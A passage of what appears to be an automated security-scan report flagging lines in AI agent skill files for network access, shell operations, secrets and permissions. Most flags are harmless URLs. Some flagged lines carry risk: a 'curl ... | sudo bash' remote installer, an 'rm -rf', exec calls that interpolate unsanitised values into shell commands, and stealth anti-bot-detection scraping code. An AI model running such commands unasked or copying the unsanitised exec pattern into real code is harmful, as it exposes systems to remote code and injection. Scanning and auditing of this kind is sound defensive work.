    () => fetch(`/api/users/${id}`).then(r => r.json()),
  • Network accessline 580
    const fetchJson = <T>(url: string): TE.TaskEither<Error, T> =>   TE.tryCatch(     () => fetch(url).then(r => r.json()),
  • Network accessline 581
    TE.tryCatch(     () => fetch(url).then(r => r.json()),     (e) => new Error(`Fetch failed: ${e}`)
  • Network accessline 582
    () => fetch(url).then(r => r.json()),
  • Network accessline 683
    pipe(     TE.tryCatch(       () => fetch(url),
  • Network accessline 684
    TE.tryCatch(       () => fetch(url),       () => createApiError('Network error', 'NETWORK')
  • Network accessline 685
    () => fetch(url),

skills/fp-ts-pragmatic/SKILL.md

  • Network accessline 3
    description: "A practical, jargon-free guide to fp-ts functional programming - the 80/20 approach that gets results without the academic overhead. Use when writing TypeScript with fp-ts library." risk: safe source: https://github.com/whatis
  • Network accessline 4
    risk: safe source: https://github.com/whatiskadudoing/fp-ts-skills ---
  • Network accessline 5
    source: https://github.com/whatiskadudoing/fp-ts-skills
  • Network accessline 262
    async function getUser(id: string): Promise<User | null> {   try {     const response = await fetch(`/api/users/${id}`)
  • Network accessline 263
    try {     const response = await fetch(`/api/users/${id}`)     if (!response.ok) return null
  • Network accessline 264
    const response = await fetch(`/api/users/${id}`)
  • Network accessline 273
    const getUser = (id: string): TE.TaskEither<Error, User> =>   pipe(     TE.tryCatch(() => fetch(`/api/users/${id}`), E.toError),
  • Network accessline 274
    pipe(     TE.tryCatch(() => fetch(`/api/users/${id}`), E.toError),     TE.flatMap(r => r.ok ? TE.right(r) : TE.left(new Error('Not found'))),
  • Network accessline 275
    TE.tryCatch(() => fetch(`/api/users/${id}`), E.toError),

skills/fp-ts-react/SKILL.md

  • Network accessline 3
    description: "Practical patterns for using fp-ts with React - hooks, state, forms, data fetching. Use when building React apps with functional programming patterns. Works with React 18/19, Next.js 14/15." risk: safe source: https://github.c
  • Network accessline 4
    risk: safe source: https://github.com/whatiskadudoing/fp-ts-skills ---
  • Network accessline 5
    source: https://github.com/whatiskadudoing/fp-ts-skills
  • Network accessline 255
    TE.tryCatch(     async () => {       const res = await fetch(url)
  • Network accessline 256
    async () => {       const res = await fetch(url)       if (!res.ok) throw new Error(`HTTP ${res.status}`)
  • Network accessline 257
    const res = await fetch(url)
  • Network accessline 398
    function UserProfile({ userId }: { userId: string }) {   const { state, execute } = useRemoteData(() =>     fetch(`/api/users/${userId}`).then(r => r.json())
  • Network accessline 399
    const { state, execute } = useRemoteData(() =>     fetch(`/api/users/${userId}`).then(r => r.json())   )
  • Network accessline 400
    fetch(`/api/users/${userId}`).then(r => r.json())
  • Network accessline 792
    - **[fp-ts](https://github.com/gcanti/fp-ts)** - Core library
  • Network accessline 793
    - **[fp-ts-react-stable-hooks](https://github.com/mblink/fp-ts-react-stable-hooks)** - Stable hooks
  • Network accessline 794
    - **[@devexperts/remote-data-ts](https://github.com/devexperts/remote-data-ts)** - RemoteData
  • Network accessline 795
    - **[io-ts](https://github.com/gcanti/io-ts)** - Runtime type validation
  • Network accessline 796
    - **[zod](https://github.com/colinhacks/zod)** - Schema validation (works great with fp-ts)

skills/framework-migration-code-migrate/resources/implementation-playbook.md

  • Network accessline 562
    // Call REST endpoint                 const response = await fetch(
  • Network accessline 563
    const response = await fetch(
  • Network accessline 577
    const response = await fetch(
  • Network accessline 967
    <head>     <title>Migration Dashboard - {self.migration_id}</title>     <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
  • Network accessline 968
    <title>Migration Dashboard - {self.migration_id}</title>     <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>     <style>
  • Network accessline 969
    <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>

skills/framework-migration-deps-upgrade/resources/implementation-playbook.md

  • Dangerous shell operationline 535
    rm -rf node_modules
  • Network accessline 551
    # Check service health     curl -f http://localhost:3000/health || exit 1
  • Network accessline 552
    curl -f http://localhost:3000/health || exit 1

skills/freshdesk-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/freshservice-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/frontend-design/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/

skills/frontend-dev-guidelines/resources/performance.md

  • Network accessline 224
    fetch('/api/data', { signal: abortController.signal })

skills/frontend-slides/SKILL.md

  • Network accessline 2
    name: frontend-slides description: "Create stunning, animation-rich HTML presentations from scratch or by converting PowerPoint files. Use when the user wants to build a presentation, convert a PPT/PPTX to web, or create slides for a..." so
  • Network accessline 3
    description: "Create stunning, animation-rich HTML presentations from scratch or by converting PowerPoint files. Use when the user wants to build a presentation, convert a PPT/PPTX to web, or create slides for a..." source: https://github.c
  • Network accessline 4
    source: https://github.com/zarazhangrui/frontend-slides
  • Network accessline 206
    <!-- Fonts (use Fontshare or Google Fonts) -->     <link rel="stylesheet" href="https://api.fontshare.com/v2/css?f[]=...">
  • Network accessline 207
    <link rel="stylesheet" href="https://api.fontshare.com/v2/css?f[]=...">

skills/frontend-ui-dark-ts/SKILL.md

  • Network accessline 94
    <meta property="og:title" content="App Name" />     <meta property="og:description" content="App description" />     <meta property="og:image" content="https://example.com/og-image.png" />
  • Network accessline 95
    <meta property="og:description" content="App description" />     <meta property="og:image" content="https://example.com/og-image.png" />     <meta property="og:url" content="https://example.com" />
  • Network accessline 96
    <meta property="og:image" content="https://example.com/og-image.png" />
  • Network accessline 97
    <meta property="og:url" content="https://example.com" />
  • Network accessline 101
    <meta name="twitter:title" content="App Name" />     <meta name="twitter:description" content="App description" />     <meta name="twitter:image" content="https://example.com/og-image.png" />
  • Network accessline 103
    <meta name="twitter:image" content="https://example.com/og-image.png" />

skills/game-development/SKILL.md

  • Broad permissionsline 1
    Read, Write, Edit, Glob, Grep, Bash

skills/game-development/multiplayer/SKILL.md

  • Broad permissionsline 1
    Read, Write, Edit, Glob, Grep, Bash

skills/gdpr-data-handling/resources/implementation-playbook.md

  • Network accessline 613
    - [GDPR Full Text](https://gdpr-info.eu/)
  • Network accessline 614
    - [ICO Guidance](https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/)
  • Network accessline 615
    - [EDPB Guidelines](https://edpb.europa.eu/our-work-tools/general-guidance/gdpr-guidelines-recommendations-best-practices_en)

skills/gemini-api-dev/SKILL.md

  • Network accessline 97
    - **v1beta** (default): `https://generativelanguage.googleapis.com/$discovery/rest?version=v1beta`
  • Network accessline 98
    Use this unless the integration is explicitly pinned to v1. The official SDKs (google-genai, @google/genai, google.golang.org/genai) target v1beta. - **v1**: `https://generativelanguage.googleapis.com/$discovery/rest?version=v1`     Use onl
  • Network accessline 99
    - **v1**: `https://generativelanguage.googleapis.com/$discovery/rest?version=v1`
  • Network accessline 108
    **llms.txt URL**: `https://ai.google.dev/gemini-api/docs/llms.txt`
  • Network accessline 112
    1. Fetch `llms.txt` to discover available documentation pages 2. Fetch specific pages (e.g., `https://ai.google.dev/gemini-api/docs/function-calling.md.txt`)
  • Network accessline 113
    2. Fetch specific pages (e.g., `https://ai.google.dev/gemini-api/docs/function-calling.md.txt`)
  • Network accessline 120
    - [Models](https://ai.google.dev/gemini-api/docs/models.md.txt)
  • Network accessline 121
    - [Google AI Studio quickstart](https://ai.google.dev/gemini-api/docs/ai-studio-quickstart.md.txt)
  • Network accessline 122
    - [Nano Banana image generation](https://ai.google.dev/gemini-api/docs/image-generation.md.txt)
  • Network accessline 123
    - [Function calling with the Gemini API](https://ai.google.dev/gemini-api/docs/function-calling.md.txt)
  • Network accessline 124
    - [Structured outputs](https://ai.google.dev/gemini-api/docs/structured-output.md.txt)
  • Network accessline 125
    - [Text generation](https://ai.google.dev/gemini-api/docs/text-generation.md.txt)
  • Network accessline 126
    - [Image understanding](https://ai.google.dev/gemini-api/docs/image-understanding.md.txt)
  • Network accessline 127
    - [Embeddings](https://ai.google.dev/gemini-api/docs/embeddings.md.txt)
  • Network accessline 128
    - [Interactions API](https://ai.google.dev/gemini-api/docs/interactions.md.txt)
  • Network accessline 129
    - [SDK migration guide](https://ai.google.dev/gemini-api/docs/migrate.md.txt)

skills/geo-fundamentals/scripts/geo_checker.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/git-pushing/scripts/smart_commit.sh

  • Executable scriptline 1
    #!/bin/bash

skills/github-actions-templates/SKILL.md

  • Network accessline 313
    environment:       name: production       url: https://app.example.com
  • Network accessline 315
    url: https://app.example.com

skills/github-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/github-workflow-automation/SKILL.md

  • Network accessline 10
    > Patterns for automating GitHub workflows with AI assistance, inspired by [Gemini CLI](https://github.com/google-gemini/gemini-cli) and modern DevOps practices.
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]
  • Dangerous shell operationline 561
    const commitInfo = await exec(`git show ${commitHash} --stat`);
  • Dangerous shell operationline 564
    const targetDiff = await exec(
  • Dangerous shell operationline 582
    await exec(
  • Dangerous shell operationline 585
    const result = await exec(`git cherry-pick ${commitHash}`, {
  • Dangerous shell operationline 598
    await exec(`git checkout ${targetBranch}`);
  • Dangerous shell operationline 599
    await exec(`git cherry-pick ${commitHash}`);
  • Network accessline 845
    - [Gemini CLI GitHub Action](https://github.com/google-github-actions/run-gemini-cli)
  • Network accessline 846
    - [GitHub Actions Documentation](https://docs.github.com/en/actions)
  • Network accessline 847
    - [GitHub REST API](https://docs.github.com/en/rest)
  • Network accessline 848
    - [CODEOWNERS Syntax](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)

skills/gitlab-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/gitlab-ci-patterns/SKILL.md

  • Network accessline 85
    environment:     name: production     url: https://app.example.com
  • Network accessline 87
    url: https://app.example.com
  • Access to secretsline 117
    [Credential-related source omitted]
  • Network accessline 127
    environment:     name: staging     url: https://staging.example.com
  • Network accessline 128
    name: staging     url: https://staging.example.com   only:
  • Network accessline 129
    url: https://staging.example.com
  • Network accessline 139
    environment:     name: production     url: https://app.example.com
  • Network accessline 140
    name: production     url: https://app.example.com   when: manual
  • Network accessline 141
    url: https://app.example.com

skills/gitops-workflow/SKILL.md

  • Network accessline 58
    # Install ArgoCD kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml
  • Network accessline 59
    kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml
  • Network accessline 97
    project: default   source:     repoURL: https://github.com/org/gitops-repo
  • Network accessline 98
    source:     repoURL: https://github.com/org/gitops-repo     targetRevision: main
  • Network accessline 99
    repoURL: https://github.com/org/gitops-repo
  • Network accessline 101
    path: apps/production/my-app   destination:     server: https://kubernetes.default.svc
  • Network accessline 102
    destination:     server: https://kubernetes.default.svc     namespace: production
  • Network accessline 103
    server: https://kubernetes.default.svc
  • Network accessline 122
    project: default   source:     repoURL: https://github.com/org/gitops-repo
  • Network accessline 123
    source:     repoURL: https://github.com/org/gitops-repo     targetRevision: main
  • Network accessline 124
    repoURL: https://github.com/org/gitops-repo
  • Network accessline 126
    path: argocd/applications   destination:     server: https://kubernetes.default.svc
  • Network accessline 127
    destination:     server: https://kubernetes.default.svc     namespace: argocd
  • Network accessline 128
    server: https://kubernetes.default.svc
  • Network accessline 139
    # Install Flux CLI curl -s https://fluxcd.io/install.sh | sudo bash
  • Dangerous shell operationline 140
    curl -s https://fluxcd.io/install.sh | sudo bash
  • Network accessline 140
    curl -s https://fluxcd.io/install.sh | sudo bash
  • Network accessline 159
    spec:   interval: 1m   url: https://github.com/org/my-app
  • Network accessline 160
    interval: 1m   url: https://github.com/org/my-app   ref:
  • Network accessline 161
    url: https://github.com/org/my-app

skills/gitops-workflow/references/argocd-setup.md

  • Network accessline 7
    kubectl create namespace argocd kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml
  • Network accessline 8
    kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml
  • Network accessline 13
    kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
  • Network accessline 18
    helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 72
    argocd repo add https://github.com/org/repo --username user --password token
  • Network accessline 77
    argocd app create my-app \   --repo https://github.com/org/repo \
  • Network accessline 78
    --repo https://github.com/org/repo \
  • Network accessline 79
    --path apps/my-app \   --dest-server https://kubernetes.default.svc \   --dest-namespace production
  • Network accessline 80
    --dest-server https://kubernetes.default.svc \
  • Network accessline 92
    namespace: argocd data:   url: https://argocd.example.com
  • Network accessline 93
    data:   url: https://argocd.example.com   dex.config: |
  • Network accessline 94
    url: https://argocd.example.com
  • Access to secretsline 102
    [Credential-related source omitted]

skills/gmail-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/go-concurrency-patterns/resources/implementation-playbook.md

  • Network accessline 652
    - [Go Concurrency Patterns](https://go.dev/blog/pipelines)
  • Network accessline 653
    - [Effective Go - Concurrency](https://go.dev/doc/effective_go#concurrency)
  • Network accessline 654
    - [Go by Example - Goroutines](https://gobyexample.com/goroutines)

skills/go-playwright/SKILL.md

  • Network accessline 3
    description: "Expert capability for robust, stealthy, and efficient browser automation using Playwright Go." risk: safe source: https://github.com/playwright-community/playwright-go
  • Network accessline 4
    risk: safe source: https://github.com/playwright-community/playwright-go ---
  • Network accessline 5
    source: https://github.com/playwright-community/playwright-go
  • Network accessline 61
    ### 5. Documentation Usage - **Primary Source:** Rely on your internal knowledge of the API first to save tokens. - **Fallback:** Refer to the official docs [playwright-go documentation](https://pkg.go.dev/github.com/playwright-community/pl
  • Network accessline 62
    - **Primary Source:** Rely on your internal knowledge of the API first to save tokens. - **Fallback:** Refer to the official docs [playwright-go documentation](https://pkg.go.dev/github.com/playwright-community/playwright-go#section-documen
  • Network accessline 63
    - **Fallback:** Refer to the official docs [playwright-go documentation](https://pkg.go.dev/github.com/playwright-community/playwright-go#section-documentation) ONLY if:

skills/go-playwright/resources/implementation-playbook.md

  • Network accessline 51
    // ... Implementation ...     // Example: page.Goto("https://example.com")
  • Network accessline 52
    // Example: page.Goto("https://example.com")

skills/go-rod-master/SKILL.md

  • Network accessline 3
    description: "Comprehensive guide for browser automation and web scraping with go-rod (Chrome DevTools Protocol) including stealth anti-bot-detection patterns." risk: safe source: https://github.com/go-rod/rod
  • Network accessline 4
    risk: safe source: https://github.com/go-rod/rod ---
  • Network accessline 5
    source: https://github.com/go-rod/rod
  • Network accessline 12
    [Rod](https://github.com/go-rod/rod) is a high-level Go driver built directly on the [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/) for browser automation and web scraping. Unlike wrappers around other tools
  • Network accessline 14
    The companion library [go-rod/stealth](https://github.com/go-rod/stealth) injects anti-bot-detection evasions based on [puppeteer-extra stealth](https://github.com/nichochar/puppeteer-extra/tree/master/packages/extract-stealth-evasions), hi
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 62
    // Create a page (tab) page := browser.MustPage("https://example.com")
  • Network accessline 63
    page := browser.MustPage("https://example.com")
  • Network accessline 181
    // Use stealth.MustPage instead of browser.MustPage page := stealth.MustPage(browser) page.MustNavigate("https://bot.sannysoft.com")
  • Network accessline 183
    page.MustNavigate("https://bot.sannysoft.com")
  • Network accessline 191
    return fmt.Errorf("failed to create stealth page: %w", err) } page.MustNavigate("https://example.com")
  • Network accessline 193
    page.MustNavigate("https://example.com")
  • Network accessline 201
    page := browser.MustPage() page.MustEvalOnNewDocument(stealth.JS) page.MustNavigate("https://example.com")
  • Network accessline 203
    page.MustNavigate("https://example.com")
  • Network accessline 211
    page := stealth.MustPage(browser) page.MustNavigate("https://bot.sannysoft.com")
  • Network accessline 212
    page.MustNavigate("https://bot.sannysoft.com")
  • Access to secretsline 237
    [Credential-related source omitted]
  • Network accessline 343
    // Wait for specific navigation/event wait := page.WaitEvent(&proto.PageLoadEventFired{}) page.MustNavigate("https://example.com")
  • Network accessline 344
    wait := page.WaitEvent(&proto.PageLoadEventFired{}) page.MustNavigate("https://example.com") wait()
  • Network accessline 345
    page.MustNavigate("https://example.com")
  • Network accessline 430
    // Wait for a specific event before proceeding wait := page.WaitEvent(&proto.PageLoadEventFired{}) page.MustNavigate("https://example.com")
  • Network accessline 431
    wait := page.WaitEvent(&proto.PageLoadEventFired{}) page.MustNavigate("https://example.com") wait()
  • Network accessline 432
    page.MustNavigate("https://example.com")
  • Network accessline 517
    - **Problem:** Browser process leaks (zombie processes).   **Solution:** Always `defer browser.MustClose()`. Rod uses [leakless](https://github.com/ysmood/leakless) to kill zombies after main process crash, but explicit cleanup is preferred
  • Network accessline 518
    **Solution:** Always `defer browser.MustClose()`. Rod uses [leakless](https://github.com/ysmood/leakless) to kill zombies after main process crash, but explicit cleanup is preferred.
  • Network accessline 537
    - [Official Documentation](https://go-rod.github.io/) — Guides, tutorials, FAQ
  • Network accessline 538
    - [Go API Reference](https://pkg.go.dev/github.com/go-rod/rod) — Complete type and method documentation
  • Network accessline 539
    - [go-rod/stealth](https://github.com/go-rod/stealth) — Anti-bot detection plugin
  • Network accessline 540
    - [Examples (source)](https://github.com/go-rod/rod/blob/main/examples_test.go) — Official example tests
  • Network accessline 541
    - [Rod vs Chromedp Comparison](https://github.com/nichochar/go-rod.github.io/blob/main/lib/examples/compare-chromedp) — Migration reference
  • Network accessline 542
    - [Chrome DevTools Protocol Docs](https://chromedevtools.github.io/devtools-protocol/) — Underlying protocol reference
  • Network accessline 543
    - [Chrome CLI Flags Reference](https://peter.sh/experiments/chromium-command-line-switches) — Launcher flag documentation

skills/go-rod-master/examples/basic_scrape.go

  • Executable scriptline 1
    Executable file
  • Network accessline 22
    page := browser.MustPage("https://github.com").MustWaitStable()

skills/go-rod-master/examples/concurrent_pages.go

  • Executable scriptline 1
    Executable file
  • Network accessline 21
    urls := []string{ 		"https://example.com",
  • Network accessline 22
    "https://example.com",
  • Network accessline 23
    "https://example.org",
  • Network accessline 24
    "https://www.iana.org/domains/reserved",
  • Network accessline 25
    "https://www.iana.org/about",
  • Access to secretsline 33
    [Credential-related source omitted]

skills/go-rod-master/examples/request_hijacking.go

  • Executable scriptline 1
    Executable file
  • Network accessline 61
    page := stealth.MustPage(browser) 	page.MustNavigate("https://example.com").MustWaitLoad()
  • Network accessline 62
    page.MustNavigate("https://example.com").MustWaitLoad()
  • Network accessline 83
    page2.MustNavigate("https://example.com").MustWaitLoad() 	fmt.Println("\nNetwork log above shows all requests captured")

skills/go-rod-master/examples/stealth_page.go

  • Executable scriptline 1
    Executable file
  • Network accessline 36
    page.MustNavigate("https://bot.sannysoft.com")
  • Network accessline 51
    advancedPage := browser.MustPage() 	advancedPage.MustEvalOnNewDocument(stealth.JS) 	advancedPage.MustNavigate("https://bot.sannysoft.com")
  • Network accessline 52
    advancedPage.MustEvalOnNewDocument(stealth.JS) 	advancedPage.MustNavigate("https://bot.sannysoft.com") 	advancedPage.MustElement("#broken-image-dimensions.passed")
  • Network accessline 53
    advancedPage.MustNavigate("https://bot.sannysoft.com")
  • Network accessline 61
    return 	} 	prodPage.MustNavigate("https://example.com")
  • Network accessline 62
    } 	prodPage.MustNavigate("https://example.com") 	title, err := prodPage.MustElement("title").Text()
  • Network accessline 63
    prodPage.MustNavigate("https://example.com")

skills/go-rod-master/references/api-reference.md

  • Network accessline 148
    Full CDP protocol reference: https://chromedevtools.github.io/devtools-protocol/

skills/godot-gdscript-patterns/resources/implementation-playbook.md

  • Network accessline 802
    - [Godot Documentation](https://docs.godotengine.org/en/stable/)
  • Network accessline 803
    - [GDQuest Tutorials](https://www.gdquest.com/)
  • Network accessline 804
    - [Godot Recipes](https://kidscancode.org/godot_recipes/)

skills/google-analytics-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/google-calendar-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/google-drive-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/googlesheets-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/helm-chart-scaffolding/assets/Chart.yaml.template

  • Network accessline 12
    home: https://github.com/<org>/<repo>
  • Network accessline 14
    sources:   - https://github.com/<org>/<repo>
  • Network accessline 15
    - https://github.com/<org>/<repo>
  • Network accessline 18
    - name: <Maintainer Name>     email: <maintainer@example.com>     url: https://github.com/<username>
  • Network accessline 20
    url: https://github.com/<username>
  • Network accessline 22
    icon: https://example.com/icon.png
  • Network accessline 27
    - name: postgresql     version: "12.0.0"     repository: "https://charts.bitnami.com/bitnami"
  • Network accessline 28
    version: "12.0.0"     repository: "https://charts.bitnami.com/bitnami"     condition: postgresql.enabled
  • Network accessline 29
    repository: "https://charts.bitnami.com/bitnami"
  • Network accessline 33
    - name: redis     version: "17.0.0"     repository: "https://charts.bitnami.com/bitnami"
  • Network accessline 34
    version: "17.0.0"     repository: "https://charts.bitnami.com/bitnami"     condition: redis.enabled
  • Network accessline 35
    repository: "https://charts.bitnami.com/bitnami"

skills/helm-chart-scaffolding/references/chart-structure.md

  • Network accessline 52
    - api   - backend home: https://example.com         # Project home page
  • Network accessline 53
    - backend home: https://example.com         # Project home page sources:                          # Source code URLs
  • Network accessline 54
    home: https://example.com         # Project home page
  • Network accessline 55
    sources:                          # Source code URLs   - https://github.com/example/my-app maintainers:                      # Maintainer list
  • Network accessline 56
    - https://github.com/example/my-app
  • Network accessline 58
    - name: John Doe     email: john@example.com     url: https://github.com/johndoe
  • Network accessline 59
    email: john@example.com     url: https://github.com/johndoe icon: https://example.com/icon.png  # Chart icon URL
  • Network accessline 60
    url: https://github.com/johndoe
  • Network accessline 61
    icon: https://example.com/icon.png  # Chart icon URL
  • Network accessline 63
    deprecated: false                 # Mark chart as deprecated annotations:                      # Arbitrary annotations   example.com/release-notes: https://example.com/releases/v1.2.3
  • Network accessline 64
    annotations:                      # Arbitrary annotations   example.com/release-notes: https://example.com/releases/v1.2.3 dependencies:                     # Chart dependencies
  • Network accessline 65
    example.com/release-notes: https://example.com/releases/v1.2.3
  • Network accessline 67
    - name: postgresql     version: "12.0.0"     repository: "https://charts.bitnami.com/bitnami"
  • Network accessline 68
    version: "12.0.0"     repository: "https://charts.bitnami.com/bitnami"     condition: postgresql.enabled
  • Network accessline 69
    repository: "https://charts.bitnami.com/bitnami"
  • Network accessline 169
    {   "$schema": "https://json-schema.org/draft-07/schema#",
  • Network accessline 170
    "$schema": "https://json-schema.org/draft-07/schema#",
  • Network accessline 283
    export POD_NAME=$(kubectl get pods --namespace {{ .Release.Namespace }} -l "app.kubernetes.io/name={{ include "my-app.name" . }}" -o jsonpath="{.items[0].metadata.name}")   kubectl port-forward $POD_NAME 8080:80   echo "Visit http://127.0.0
  • Network accessline 284
    kubectl port-forward $POD_NAME 8080:80   echo "Visit http://127.0.0.1:8080" {{- end }}
  • Network accessline 285
    echo "Visit http://127.0.0.1:8080"
  • Network accessline 296
    - name: postgresql     version: "12.0.0"     repository: "https://charts.bitnami.com/bitnami"
  • Network accessline 297
    version: "12.0.0"     repository: "https://charts.bitnami.com/bitnami"     condition: postgresql.enabled  # Enable/disable via values
  • Network accessline 298
    repository: "https://charts.bitnami.com/bitnami"
  • Network accessline 326
    dependencies: - name: postgresql   repository: https://charts.bitnami.com/bitnami
  • Network accessline 327
    - name: postgresql   repository: https://charts.bitnami.com/bitnami   version: 12.0.0
  • Network accessline 328
    repository: https://charts.bitnami.com/bitnami
  • Network accessline 414
    containers:   - name: wget     image: busybox
  • Network accessline 415
    - name: wget     image: busybox     command: ['wget']
  • Network accessline 493
    helm repo index . --url https://charts.example.com
  • Network accessline 498
    - [Helm Documentation](https://helm.sh/docs/)
  • Network accessline 499
    - [Chart Template Guide](https://helm.sh/docs/chart_template_guide/)
  • Network accessline 500
    - [Best Practices](https://helm.sh/docs/chart_best_practices/)

skills/helm-chart-scaffolding/resources/implementation-playbook.md

  • Network accessline 80
    - name: DevOps Team     email: devops@example.com     url: https://github.com/example/my-app
  • Network accessline 82
    url: https://github.com/example/my-app
  • Network accessline 84
    # Source code repository sources:   - https://github.com/example/my-app
  • Network accessline 86
    - https://github.com/example/my-app
  • Network accessline 88
    # Homepage home: https://example.com
  • Network accessline 89
    home: https://example.com
  • Network accessline 91
    # Chart icon icon: https://example.com/icon.png
  • Network accessline 92
    icon: https://example.com/icon.png
  • Network accessline 96
    - name: postgresql     version: "12.0.0"     repository: "https://charts.bitnami.com/bitnami"
  • Network accessline 97
    version: "12.0.0"     repository: "https://charts.bitnami.com/bitnami"     condition: postgresql.enabled
  • Network accessline 98
    repository: "https://charts.bitnami.com/bitnami"
  • Network accessline 100
    - name: redis     version: "17.0.0"     repository: "https://charts.bitnami.com/bitnami"
  • Network accessline 101
    version: "17.0.0"     repository: "https://charts.bitnami.com/bitnami"     condition: redis.enabled
  • Network accessline 102
    repository: "https://charts.bitnami.com/bitnami"
  • Network accessline 267
    - name: postgresql     version: "12.0.0"     repository: "https://charts.bitnami.com/bitnami"
  • Network accessline 268
    version: "12.0.0"     repository: "https://charts.bitnami.com/bitnami"     condition: postgresql.enabled
  • Network accessline 269
    repository: "https://charts.bitnami.com/bitnami"
  • Network accessline 353
    helm repo add my-repo https://charts.example.com
  • Network accessline 443
    containers:   - name: wget     image: busybox
  • Network accessline 444
    - name: wget     image: busybox     command: ['wget']

skills/helm-chart-scaffolding/scripts/validate-chart.sh

  • Executable scriptline 1
    #!/bin/bash

skills/helpdesk-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/hig-components-content/SKILL.md

  • Network accessline 88
    *Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*

skills/hig-components-content/references/activity-views.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Activity views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/activity-views
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/activity-views
  • Network accessline 9
    ![A stylized representation of an activity view or share sheet. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/74899abd7c2a017fc05523d112743616/comp
  • Network accessline 15
    You can also create app extensions to provide custom share and action activities that people can use in other apps. (An _app extension_ is code you provide that people can install and use outside of your app.) For example, you might create 
  • Network accessline 17
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/activity-views#Best-practices)
  • Network accessline 21
    **Consider using a symbol to represent your custom activity.** [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) provides a comprehensive set of configurable symbols you can use to communicate items and 
  • Network accessline 29
    ![A screenshot of the Notes app on iPhone, with an open Notes document titled Nature Walks. The top toolbar includes a Share button grouped with a More button on its trailing edge.](https://docs-assets.developer.apple.com/published/5cdc9802
  • Network accessline 31
    ![A screenshot of the Notes app on iPhone, with an open Notes document titled Nature Walks. An activity view is open from the Share button, including controls for sharing the document with contacts or other apps, and copying, exporting, or 
  • Network accessline 33
    ## [Share and action extensions](https://developer.apple.com/design/human-interface-guidelines/activity-views#Share-and-action-extensions)
  • Network accessline 52
    **If necessary, provide an image that communicates the purpose of your extension.** A share extension automatically uses your app icon, helping give people confidence that your app provided the extension. For an action extension, prefer usi
  • Network accessline 56
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/activity-views#Platform-considerations)
  • Network accessline 60
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/activity-views#Resources)
  • Network accessline 62
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/activity-views#Related)
  • Network accessline 64
    [Sheets](https://developer.apple.com/design/human-interface-guidelines/sheets)
  • Network accessline 66
    [Popovers](https://developer.apple.com/design/human-interface-guidelines/popovers)
  • Network accessline 68
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/activity-views#Developer-documentation)
  • Network accessline 70
    [`UIActivityViewController`](https://developer.apple.com/documentation/UIKit/UIActivityViewController) — UIKit
  • Network accessline 72
    [`UIActivity`](https://developer.apple.com/documentation/UIKit/UIActivity) — UIKit
  • Network accessline 74
    [App Extension Support](https://developer.apple.com/documentation/Foundation/app-extension-support) — Foundation
  • Network accessline 76
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/activity-views#Videos)
  • Network accessline 78
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/74342B30-92E9-48F3-B0F2-6E42C8FD9391/6506_wide_250x141_1x.jpg) Design for Collaboration with Messages ](https://developer.apple.com/videos/play/wwdc2022/10015)

skills/hig-components-content/references/charts.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
